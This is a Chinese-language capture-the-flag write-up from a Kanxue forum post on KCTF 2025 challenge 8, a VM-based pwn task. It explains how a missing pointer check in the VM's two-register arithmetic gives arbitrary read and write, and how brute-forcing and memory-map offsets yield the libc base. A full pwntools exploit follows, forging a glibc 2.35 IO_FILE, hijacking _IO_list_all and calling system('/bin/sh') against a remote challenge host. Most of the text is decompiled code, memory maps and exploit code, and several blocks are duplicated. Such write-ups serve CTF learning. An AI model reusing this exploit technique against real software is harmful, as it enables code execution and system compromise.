-
-
[原创]KCTF 2025 第8题 暗云涌动wp
-
发表于: 2025-8-30 14:06 2729
-
可以看到程序先初始化了io, 随后分配了一些内存:
然后调用了read(0, (void *)qword_5050->input_0_1000, 0x1000uLL);, 之后分析sub_2B97为:
整体实现了一个vm; 在分析vm指令函数时就能看到其中的重点逻辑为0x14与0x15指令所对应的函数:
只有指定寄存器值的最高位为1时才将其作为指针进行读写;
其它运算指令函数有对最高位为1的指针进行验证与清零, 但是针对双寄存器运算的函数存在漏洞, 如果运算前各寄存器的值最高位都不为1则不做验证, 于是可以构造进行任意地址读写;
之后考虑如何获取程序与libc的基址
其中验证函数verity_addr_128B的逻辑验证输入在0x200000与stack_800范围内, 否则清零为0x200000:
于是可以爆破该函数获取stack_800的地址; 之后可以通过stack_800的地址找到qword_5050的地址, 再可以找到被mmap分配的qword_5050->input_0_1000的地址;
因为被mmap分配所以和同为mmap分配的链接库基址挨的很近, 观察/proc/pid/maps可以发现为固定偏移:
顺着input_0_1000的地址可以找到ld-linux-x86-64.so.2的数据段地址, 于是可以找到_rtld_global的地址再取得程序与libc的基址.
有地址范围有任意读写, 接下来看如何getshell;
搜索找到了一篇libc2.35的利用文章 https://bbs.kanxue.com/thread-273895.htm 对照调试, 并根据调试错误稍作修改最终写出完整exp:
struct_qword_5050 *sub_2E74(){ struct_qword_5050 *v0; // rbx struct_qword_5050 *v1; // rbx struct_qword_5050 *v2; // rbx struct_qword_5050 *v3; // rbx struct_qword_5050 *result; // rax alarm(0x64u); qword_5050 = (struct_qword_5050 *)zalloc_2A65(0x28LL); qword_5050->ip = 0; v0 = qword_5050; v0->input_0_1000 = zmmap_2AF8(0LL, 4096LL); v1 = qword_5050; v1->buf2_200000_1000 = zmmap_2AF8((void *)0x200000, 0x1000LL); v2 = qword_5050; v2->regs_40 = zalloc_2A65(0x40LL); v3 = qword_5050; v3->stack_800 = zalloc_2A65(0x800LL); result = qword_5050; qword_5050->sp = 0; return result;struct_qword_5050 *sub_2E74(){ struct_qword_5050 *v0; // rbx struct_qword_5050 *v1; // rbx struct_qword_5050 *v2; // rbx struct_qword_5050 *v3; // rbx struct_qword_5050 *result; // rax alarm(0x64u); qword_5050 = (struct_qword_5050 *)zalloc_2A65(0x28LL); qword_5050->ip = 0; v0 = qword_5050; v0->input_0_1000 = zmmap_2AF8(0LL, 4096LL); v1 = qword_5050; v1->buf2_200000_1000 = zmmap_2AF8((void *)0x200000, 0x1000LL); v2 = qword_5050; v2->regs_40 = zalloc_2A65(0x40LL); v3 = qword_5050; v3->stack_800 = zalloc_2A65(0x800LL); result = qword_5050; qword_5050->sp = 0; return result;end = 0; while ( !end ) { v2 = (_BYTE *)(qword_5050->input_0_1000 + 8LL * (unsigned int)qword_5050->ip++); v0 = qword_5050; v0->ip = limit_1269(qword_5050->ip, 0x200u); switch ( *v2 ) { case 0: push_reg_1314((__int64)v2); break; case 1: push_imm4_13AA((__int64)v2); break; case 2: push_imm4_addr_141B((__int64)v2); break; case 3: pop_reg_1494((__int64)v2); break; case 4: mov_reg_reg_1532((__int64)v2); break; case 5: mov_reg_imm4_15AC((__int64)v2); break; case 6: add_reg_reg_1600((__int64)v2); break; case 7: add_reg_imm4_1787((__int64)v2); break; case 8: ssub_reg_reg_1864((__int64)v2); break; case 9: ssub_reg_imm4_19EB((__int64)v2); break; case 0xA: mul_reg_reg_1AC8((__int64)v2); break; case 0xB: mul_reg_imm4_1C53((__int64)v2); break; case 0xC: div_reg_reg_1D34((__int64)v2); break; case 0xD: div_reg_imm4_1EC0((__int64)v2); break; case 0xE: and_reg_reg_1FA2((__int64)v2); break; case 0xF: and_reg_imm4_2129((__int64)v2); break; case 0x10: or_reg_reg_2206((__int64)v2); break; case 0x11: or_reg_imm4_238D((__int64)v2); break; case 0x12: xor_reg_reg_246A((__int64)v2); break; case 0x13: sub_25F1((__int64)v2); break; case 0x14: read_reg_regp_26CE((__int64)v2); break; case 0x15: write_reg_regp_2782((__int64)v2); break; case 0x16: jb_2831((__int64)v2); break; case 0x17: jl_28ED((__int64)v2); break; case 0x18: je_29A9((__int64)v2); break; case 0x19: end = 1; break; default: puts("Invalid instruction."); exit(0); } }}end = 0; while ( !end ) { v2 = (_BYTE *)(qword_5050->input_0_1000 + 8LL * (unsigned int)qword_5050->ip++); v0 = qword_5050; v0->ip = limit_1269(qword_5050->ip, 0x200u); switch ( *v2 ) { case 0: push_reg_1314((__int64)v2); break; case 1: push_imm4_13AA((__int64)v2); break; case 2: push_imm4_addr_141B((__int64)v2); break; case 3: pop_reg_1494((__int64)v2); break; case 4: mov_reg_reg_1532((__int64)v2); break; case 5: mov_reg_imm4_15AC((__int64)v2); break; case 6: add_reg_reg_1600((__int64)v2); break; case 7: add_reg_imm4_1787((__int64)v2); break; case 8: ssub_reg_reg_1864((__int64)v2); break; case 9: ssub_reg_imm4_19EB((__int64)v2); break; case 0xA: mul_reg_reg_1AC8((__int64)v2); break; case 0xB: mul_reg_imm4_1C53((__int64)v2); break; case 0xC: div_reg_reg_1D34((__int64)v2); break; case 0xD: div_reg_imm4_1EC0((__int64)v2); break; case 0xE: and_reg_reg_1FA2((__int64)v2); break; case 0xF: and_reg_imm4_2129((__int64)v2); break; case 0x10: or_reg_reg_2206((__int64)v2); break; case 0x11: or_reg_imm4_238D((__int64)v2); break; case 0x12: xor_reg_reg_246A((__int64)v2); break; case 0x13: sub_25F1((__int64)v2); break; case 0x14: read_reg_regp_26CE((__int64)v2); break; case 0x15: write_reg_regp_2782((__int64)v2); break; case 0x16: jb_2831((__int64)v2); break; case 0x17: jl_28ED((__int64)v2); break; case 0x18: je_29A9((__int64)v2); break; case 0x19: end = 1; break; default: puts("Invalid instruction."); exit(0); } }}int __fastcall read_reg_regp_26CE(__int64 a1){ __int64 regs_40; // rbx __int64 v2; // rax __int64 v3; // r12 _QWORD *v4; // rdx unsigned __int64 v6; // [rsp+18h] [rbp-18h] regs_40 = qword_5050->regs_40; v6 = *(_QWORD *)(regs_40 + 8LL * (unsigned int)limit_1269(*(unsigned __int8 *)(a1 + 2), 8u)); if ( (unsigned __int8)start_with_80_12FE(v6) ) { v3 = qword_5050->regs_40; v4 = (_QWORD *)(v3 + 8LL * (unsigned int)limit_1269(*(unsigned __int8 *)(a1 + 1), 8u)); v2 = *(_QWORD *)(v6 & 0x7FFFFFFFFFFFFFFFLL); *v4 = v2; } else { LODWORD(v2) = puts("Can't load data from the invalid pointer."); } return v2;}int __fastcall read_reg_regp_26CE(__int64 a1){ __int64 regs_40; // rbx __int64 v2; // rax __int64 v3; // r12 _QWORD *v4; // rdx unsigned __int64 v6; // [rsp+18h] [rbp-18h] regs_40 = qword_5050->regs_40; v6 = *(_QWORD *)(regs_40 + 8LL * (unsigned int)limit_1269(*(unsigned __int8 *)(a1 + 2), 8u)); if ( (unsigned __int8)start_with_80_12FE(v6) ) { v3 = qword_5050->regs_40; v4 = (_QWORD *)(v3 + 8LL * (unsigned int)limit_1269(*(unsigned __int8 *)(a1 + 1), 8u)); v2 = *(_QWORD *)(v6 & 0x7FFFFFFFFFFFFFFFLL); *v4 = v2; } else { LODWORD(v2) = puts("Can't load data from the invalid pointer."); } return v2;}unsigned __int64 __fastcall sub_128B(__int64 a1){ if ( (unsigned __int64)(a1 - qword_5050->buf2_200000_1000) <= 0xFF8 || (unsigned __int64)(a1 - qword_5050->stack_800) <= 0x7F8 ) { return a1 | 0x8000000000000000LL; } else { return qword_5050->buf2_200000_1000 | 0x8000000000000000LL; }}unsigned __int64 __fastcall sub_128B(__int64 a1){ if ( (unsigned __int64)(a1 - qword_5050->buf2_200000_1000) <= 0xFF8 || (unsigned __int64)(a1 - qword_5050->stack_800) <= 0x7F8 ) { return a1 | 0x8000000000000000LL; } else { return qword_5050->buf2_200000_1000 | 0x8000000000000000LL; }}00200000-00201000 rw-p 00000000 00:00 05e118c1cb000-5e118c1cc000 r--p 00000000 103:02 58982945 /root/kctf2025/pwn5e118c1cc000-5e118c1ce000 r-xp 00001000 103:02 58982945 /root/kctf2025/pwn5e118c1ce000-5e118c1cf000 r--p 00003000 103:02 58982945 /root/kctf2025/pwn5e118c1cf000-5e118c1d0000 r--p 00003000 103:02 58982945 /root/kctf2025/pwn5e118c1d0000-5e118c1d3000 rw-p 00004000 103:02 58982945 /root/kctf2025/pwn5e1191d59000-5e1191d7a000 rw-p 00000000 00:00 0 [heap] <- qword_5050, stack_800 的位置7fd151e00000-7fd151e28000 r--p 00000000 103:02 58985015 /root/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/libc.so.67fd151e28000-7fd151fbd000 r-xp 00028000 103:02 58985015 /root/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/libc.so.67fd151fbd000-7fd152015000 r--p 001bd000 103:02 58985015 /root/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/libc.so.67fd152015000-7fd152016000 ---p 00215000 103:02 58985015 /root/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/libc.so.67fd152016000-7fd15201a000 r--p 00215000 103:02 58985015 /root/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/libc.so.67fd15201a000-7fd15201c000 rw-p 00219000 103:02 58985015 /root/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/libc.so.67fd15201c000-7fd152029000 rw-p 00000000 00:00 07fd152137000-7fd15213c000 rw-p 00000000 00:00 07fd15213c000-7fd15213e000 r--p 00000000 00:00 0 [vvar]7fd15213e000-7fd152140000 r--p 00000000 00:00 0 [vvar_vclock]7fd152140000-7fd152142000 r-xp 00000000 00:00 0 [vdso]7fd152142000-7fd152144000 r--p 00000000 103:02 58985011 /root/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/ld-linux-x86-64.so.27fd152144000-7fd15216e000 r-xp 00002000 103:02 58985011 /root/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/ld-linux-x86-64.so.27fd15216e000-7fd152179000 r--p 0002c000 103:02 58985011 /root/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/ld-linux-x86-64.so.27fd152179000-7fd15217a000 rw-p 00000000 00:00 0 <- input_0_1000 的位置7fd15217a000-7fd15217c000 r--p 00037000 103:02 58985011 /root/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/ld-linux-x86-64.so.27fd15217c000-7fd15217e000 rw-p 00039000 103:02 58985011 /root/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/ld-linux-x86-64.so.27ffeb9d70000-7ffeb9d92000 rw-p 00000000 00:00 0 [stack]ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]00200000-00201000 rw-p 00000000 00:00 05e118c1cb000-5e118c1cc000 r--p 00000000 103:02 58982945 /root/kctf2025/pwn5e118c1cc000-5e118c1ce000 r-xp 00001000 103:02 58982945 /root/kctf2025/pwn5e118c1ce000-5e118c1cf000 r--p 00003000 103:02 58982945 /root/kctf2025/pwn5e118c1cf000-5e118c1d0000 r--p 00003000 103:02 58982945 /root/kctf2025/pwn5e118c1d0000-5e118c1d3000 rw-p 00004000 103:02 58982945 /root/kctf2025/pwn5e1191d59000-5e1191d7a000 rw-p 00000000 00:00 0 [heap] <- qword_5050, stack_800 的位置7fd151e00000-7fd151e28000 r--p 00000000 103:02 58985015 /root/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/libc.so.67fd151e28000-7fd151fbd000 r-xp 00028000 103:02 58985015 /root/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/libc.so.67fd151fbd000-7fd152015000 r--p 001bd000 103:02 58985015 /root/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/libc.so.67fd152015000-7fd152016000 ---p 00215000 103:02 58985015 /root/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/libc.so.67fd152016000-7fd15201a000 r--p 00215000 103:02 58985015 /root/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/libc.so.67fd15201a000-7fd15201c000 rw-p 00219000 103:02 58985015 /root/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/libc.so.67fd15201c000-7fd152029000 rw-p 00000000 00:00 07fd152137000-7fd15213c000 rw-p 00000000 00:00 07fd15213c000-7fd15213e000 r--p 00000000 00:00 0 [vvar]7fd15213e000-7fd152140000 r--p 00000000 00:00 0 [vvar_vclock]7fd152140000-7fd152142000 r-xp 00000000 00:00 0 [vdso]7fd152142000-7fd152144000 r--p 00000000 103:02 58985011 /root/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/ld-linux-x86-64.so.27fd152144000-7fd15216e000 r-xp 00002000 103:02 58985011 /root/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/ld-linux-x86-64.so.27fd15216e000-7fd152179000 r--p 0002c000 103:02 58985011 /root/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/ld-linux-x86-64.so.27fd152179000-7fd15217a000 rw-p 00000000 00:00 0 <- input_0_1000 的位置7fd15217a000-7fd15217c000 r--p 00037000 103:02 58985011 /root/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/ld-linux-x86-64.so.27fd15217c000-7fd15217e000 rw-p 00039000 103:02 58985011 /root/glibc-all-in-one/libs/2.35-0ubuntu3.10_amd64/ld-linux-x86-64.so.27ffeb9d70000-7ffeb9d92000 rw-p 00000000 00:00 0 [stack]ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]import struct, osfrom pwnlib import *from pwn import process, remotelocal = 1debug = 0if local: p = process('./pwn') os.system(f'cat /proc/{p.proc.pid}/maps') if debug: gdb.attach(p.proc.pid, 'b exit\nb _IO_wfile_seekoff\ngo')else: p = remote("123.57.66.184", 10096)payload = b''insts = [ 'push-r', 'push-i', 'push-p', 'pop-r', 'mov-rr', 'mov-ri', 'add-rr', 'add-ri', 'sub-rr', 'sub-ri', 'mul-rr', 'mul-ri', 'div-rr', 'div-ri', 'and-rr', 'and-ri', 'or-rr', 'or-ri', 'xor-rr', 'xor-ri', 'read-rr', 'write-rr', 'jabove', 'jbelow', 'je', 'end', 'puts-exit']def asm(inst, r1, r2, value): global payload payload += struct.pack("<BBBBI", insts.index(inst), r1, r2, 0, value & 0xffffffff)def mov_r_mapaddr(r, addr): asm('push-p', 0, 0, addr) asm('pop-r', r, 0, 0)def write_r_imm4(dst, tmp_r, imm): asm('mov-ri', tmp_r, 0, imm) asm('write-rr', dst, tmp_r, 0)def write_r_imm7(dst, tmp_r, imm): imm_high = (imm & 0xffffffff0000000) >> 28 lmm_low = imm & 0xfffffff asm('mov-ri', tmp_r, 0, imm_high) asm('mul-ri', tmp_r, 0, 0x10000000) asm('add-ri', tmp_r, 0, lmm_low) asm('write-rr', dst, tmp_r, 0)libc_system = 0x50D70libc_IO_list_all = 0x21B680libc_stderr = 0x21B6A0libc_IO_wfile_jumps=0x2170C0mmap_rtld_global_offset = 0x3040# r0 = 0x8000000000000000 / 0x10 固定用来构造地址asm('mov-ri', 0, 0, 0x80000000) # 0asm('mul-ri', 0, 0, 0x10000000) # 1def prepare_pointer(r, tmp_r): asm('div-ri', r, 0, 0x10) asm('or-rr', r, 0, 0) asm('mov-ri', tmp_r, 0, 0x10) asm('mul-rr', r, tmp_r, 0)def prepare_pointer_nodiv(r, tmp_r): asm('or-rr', r, 0, 0) asm('mov-ri', tmp_r, 0, 0x10) asm('mul-rr', r, tmp_r, 0)# r1 为爆破起始点, 观察发现起始地址分布于0x550000000000到0x700000000000之间, 平均为0x600000000000asm('mov-ri', 1, 0, 0x5a000000)asm('mul-ri', 1, 0, 0x1000)prepare_pointer_nodiv(1, 2)# r2 = 0x8000000000200000mov_r_mapaddr(2, 0x200000)# r3 = 0x320asm('mov-ri', 3, 0, 0x320)# loop# r4 = r1asm('mov-rr', 4, 1, 0)# r3 += 0x1000asm('add-ri', 3, 0, 0x1000)# r4 = r4 + r3asm('add-rr', 4, 3, 0)# loop when r4 == r2asm('je', 4, 2, -4)# r4 == stackasm('div-ri', 4, 0, 0x1000)asm('mul-ri', 4, 0, 0x100)asm('add-ri', 4, 0, 0x2b)asm('mul-ri', 4, 0, 2)asm('add-ri', 4, 0, 1)asm('mov-ri', 1, 0, 8)# r4 == heap+0x2b8asm('mul-rr', 4, 1, 0)# r1 == mmaped addrasm('read-rr', 1, 4, 0)asm('add-ri', 1, 0, mmap_rtld_global_offset)# r1 == &_rtld_globalprepare_pointer(1, 3)asm('read-rr', 1, 1, 0)prepare_pointer(1, 3)# r2 == r1 == baseasm('read-rr', 1, 1, 0)asm('mov-rr', 2, 1, 0)asm('add-ri', 1, 0, 0x5040)prepare_pointer(1, 3)# r1 == stderrasm('read-rr', 1, 1, 0)asm('mov-rr', 4, 1, 0)# r4 == libc baseasm('sub-ri', 4, 0, libc_stderr)# r1 == &_IO_list_allasm('mov-rr', 1, 4, 0)asm('add-ri', 1, 0, libc_IO_list_all)prepare_pointer(1, 3)asm('mov-rr', 3, 4, 0)# r3 == systemasm('add-ri', 3, 0, libc_system)# mov_r_addr(5, 0x200800)# asm('mov-ri', 6, 0, 0x68732f6)# asm('mul-ri', 6, 0, 0x10000000)# asm('add-ri', 6, 0, 0xe69622f)# asm('write-rr', 5, 6, 0)# https://bbs.kanxue.com/thread-273895.htmfake_io_addr=0x200010mov_r_mapaddr(5, 0x200010)# fake_IO_FILE=p64(rdi) #_flags=rdiwrite_r_imm7(5, 6, 0x68732f6e69622f)asm('add-ri', 5, 0, 0x20)write_r_imm4(5, 6, 1)asm('add-ri', 5, 0, 0x8)write_r_imm4(5, 6, 2)asm('add-ri', 5, 0, 0x18)write_r_imm4(5, 6, 3) asm('add-ri', 5, 0, 0x8)write_r_imm4(5, 6, 4)asm('add-ri', 5, 0, 0x8)write_r_imm4(5, 6, 5)mov_r_mapaddr(5, fake_io_addr+0x68)# fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdxwrite_r_imm4(5, 6, fake_io_addr+0xb0)# fake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)asm('add-ri', 5, 0, 0x8)asm('write-rr', 5, 3, 0)# fake_IO_FILE = fake_IO_FILE.ljust(0x68, '\x00')# fake_IO_FILE += p64(0) # _chain# mov_r_addr(5, fake_io_addr+0x68)# asm('write-rr', 5, 7, 0)# fake_IO_FILE = fake_IO_FILE.ljust(0x88, '\x00')# fake_IO_FILE += p64(heapbase+0x1000) # _lock = a writable addressmov_r_mapaddr(5, fake_io_addr+0x88)write_r_imm4(5, 6, 0x200900)# fake_IO_FILE = fake_IO_FILE.ljust(0xa0, '\x00')# fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addrmov_r_mapaddr(5, fake_io_addr+0xa0)write_r_imm4(5, 6, fake_io_addr+0x30)# fake_IO_FILE = fake_IO_FILE.ljust(0xc0, '\x00')# fake_IO_FILE += p64(1) #mode=1mov_r_mapaddr(5, fake_io_addr+0xc0)write_r_imm4(5, 6, 1)# fake_IO_FILE = fake_IO_FILE.ljust(0xd8, '\x00')# fake_IO_FILE += p64(libcbase+0x2160c0+0x10) # vtable=IO_wfile_jumps+0x10mov_r_mapaddr(5, fake_io_addr+0xd8)asm('mov-ri', 6, 0, libc_IO_wfile_jumps+0x30)asm('add-rr', 6, 4, 0)asm('write-rr', 5, 6, 0)# fake_IO_FILE +=p64(0)*6# fake_IO_FILE += p64(fake_io_addr+0x40) # rax2_addrmov_r_mapaddr(5, fake_io_addr+0x110)write_r_imm4(5, 6, fake_io_addr+0x58)# replace _IO_list_all with fake_io_filewrite_r_imm4(1, 6, fake_io_addr)asm('puts-exit', 0, 0, 0) # 25p.send(payload+b'\n')p.interactive()import struct, osfrom pwnlib import *赞赏
他的文章
赞赏
雪币:
留言: